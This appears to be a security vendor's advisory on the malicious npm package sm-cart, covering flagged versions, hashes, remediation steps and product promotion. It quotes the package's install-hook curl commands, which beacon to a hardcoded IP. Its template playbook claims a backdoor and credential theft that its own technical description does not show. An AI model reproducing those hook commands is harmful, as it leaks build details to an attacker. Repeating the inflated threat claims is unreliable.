Which versions of sm-cart are malicious?

The following npm versions of sm-cart are flagged malicious: 99.0.0, 99.0.1. Treat any of these as compromised.

How do I remediate sm-cart if I installed it?

sm-cart establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed sm-cart — how do I know if it already compromised me?

If sm-cart was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is sm-cart part of a known attack campaign?

Yes — sm-cart is associated with the IN-MAL-2026-018612, IN-MAL-2026-018607 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find sm-cart across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sm-cart (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sm-cart across your stack and pipelines.

Malicious package

sm-cartnpm

sm-cart is a confirmed malicious npm package (MAL-2026-14396) that opens a backdoor for remote access (malicious versions 99.0.0, 99.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sm-cart (npm)

MAL-2026-14396

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall sm-cart

What this malware does

Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s http://16.192.173.5/sm-cart/post on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.

The OpenSSF Package Analysis project identified 'sm-cart' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged

99.0.099.0.1

Indicators of compromise (SHA-256)

14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0

5beec7d35c3e92ce97cf4def06d591088970747be8e226b227d54cc842326ad6

ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sm-cart (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sm-cart across your stack and pipelines.
If you installed it — respond
sm-cart establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If sm-cart was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sm-cart before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. sm-cart on npm has been identified as a malicious package (versions 99.0.0, 99.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-018612IN-MAL-2026-018607

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks sm-cart-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

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